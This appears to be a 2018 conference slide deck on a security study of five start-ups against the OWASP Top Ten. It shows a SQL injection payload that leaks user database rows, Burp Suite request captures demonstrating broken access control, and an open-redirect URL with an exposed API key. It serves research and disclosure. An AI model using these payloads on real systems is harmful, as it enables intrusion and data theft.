BEKK

OWASP TOP TEN

What is the state of practice among start-ups?

Cyber Security 2018
Halldis Søhoel, Martin Gilje Jaatun, Colin Boyd
12th of June 2018

COMPANY A – FUNCTIONALITY FIRST

WHAT: Project and time management solution

Store sensitive information about employees, customers and financial info

Background: Business and management. Outsourced development

Biggest fear: Authentication and Access Control. Sensitive information leakage.

COMPANY B – LEARN BY DOING

WHAT: Crowdsourcing educational material

Each user is assigned privileges based on trust by contributing to the site.

Background: Students at computer science programs

Biggest fear: Destruction and privilege escalation.

COMPANY C - HOBBY PROJECT

WHAT: Laundry booking site

Does not store user information, except e-mail addresses as usernames

Background: Experienced developers. Hobby project beside full time jobs

Biggest fear: stolen email-addresses, spamming, destruction

COMPANY D - HEALTH APP

WHAT: Communication platform for medical personnel and patients.

Store personal and sensitive information about patients

Background: Computer science fields among others

Biggest fear: Information leakage

COMPANY E - TUTORING SERVICE

WHAT: Tutoring service

Store information about grades and diplomas.

Background: Computer science fields and related studies

⚠ Biggest fear: Ransomware. Being blackmailed in bitcoins

SQL INJECTION

Tool: Burp Suite

https://[redacted]com/token?device_id=1' or '1' = '1

JSON | Raw Data | Headers

Save | Copy


```
err:
  name:                "QueryResultError"
  stack:               "QueryResultError: 2\n    at new QueryResultError (/app/node_modu
                       Query.handleReadyForQuery (/app/node_modules/pg/lib/query.js:106:
                       (events.js:210:7)\n    at Socket.<anonymous> (/app/node_modules/p
                       at readableAddChunk (_stream_readable.js:239:11)"
  message:             "Multiple rows were not expected."
  code:                2
  result:
    command:           "SELECT"
    rowCount:          18
    oid:               null
    rows:
      0:
        id:            1
        username:      "[redacted]-teamet"
        experience:    800
        facebook_id:   null
        device_id:     null
        level:         2
        privileges:    […]
      1:
        id:            83645
        username:      [redacted]
        experience:    80155
        facebook_id:   null
        device_id:     "a8bcec86-685c-4885-b338-117f8237e096"
        level:         6
        privileges:    […]
      2:
        id:            83655
        username:      [redacted]
        experience:    6000
        facebook_id:   [redacted]
        device_id:     null
        level:         3
        privileges:    […]
```


Go Cancel < > Target: https://[redacted].com

Request

Raw Params Headers Hex

```
PUT /exercises/82351 HTTP/1.1
Host: [redacted].com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: [redacted].com/exercises/82351
X-Access-Token:
[redacted]
Content-Type: application/json;charset=utf-8
Content-Length: 188
[redacted]
Connection: close

{"type":"mc","question":{"text":"Hvilket år startet første
verdenskrig?"},"alternatives":[{"text":"1914","correct":true},{"text":"1910","correct":fals
e},{"text":"1906","correct":false}]}
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: Cowboy
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,PUT,POST,DELETE
Access-Control-Allow-Headers: X-Access-Token, Origin, X-Requested-With, Content-Type,
Accept, Client-Id, Platform
Content-Type: application/json; charset=utf-8
Content-Length: 319
Etag: W/"13f-EQNfv6ejHhdbMLKOCg5Cqg"
Date: Wed, 22 Nov 2017 15:46:13 GMT
Via: 1.1 vegur

{"result":{"id":82351,"content":{"type":"mc","question":{"text":"Hvilket år startet
første
verdenskrig?"},"alternatives":[{"text":"1914","correct":true},{"text":"1910","correct":fal
se},{"text":"1906","correct":false}]},"collection_id":76244,"modified":"2017-11-22T15:46:1
3.676Z","created":"2017-06-02T08:28:32.014Z"}}
```

MISSING FUNCTION LEVEL ACCESS CONTROL

Tool: Burp Suite

```
POST /api/v2/generic-text/ HTTP/1.1
Host: [redacted]no
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Authorization: Bearer
[redacted]
Content-Length: 156
Connection: close

{"text":":)
:)","priority":0,"created_by":"https://[redacted].no/api/v2/account/users/36/","target":"https
://[redacted].no/api/v2/user-info/4/"}
```

MISSING FUNCTION LEVEL ACCESS CONTROL

Tool: Burp Suite

```
HTTPs://application.firebaseapp.com/__/auth/handler?apiKey=
AIzaSyAUCJL0LMU-iDI3TC2DodURB_A-uptzmPE&appName=%5BDEFAULT%5D&
authType=signInViaRedirect&providerId=Google.com&scopes=profile&
redirectUrl=HTTPs%3A%2F%2FFacebook.com%2F%23%2F&v=3.9.0
```

UNVALIDATED REDIRECT

Tool: Burp Suite

A1: Injection	
A2: Broken Authentication	
A3: Cross-Site Scripting (XSS)	
A4: Insecure Direct Object References	
A5: Security Misconfiguration	
A6: Sensitive Data Exposure	
A7: Missing Function Level Access Control	
A8: Cross-Site Request Forgery (CSRF)	
A9: Using Components with Known Vulnerabilities	
A10: Unvalidated Redirects and Forwards	

LESSONS

- Consider security from the start
- Start-ups make more secure applications because they are motivated
- Secure third-party code and samples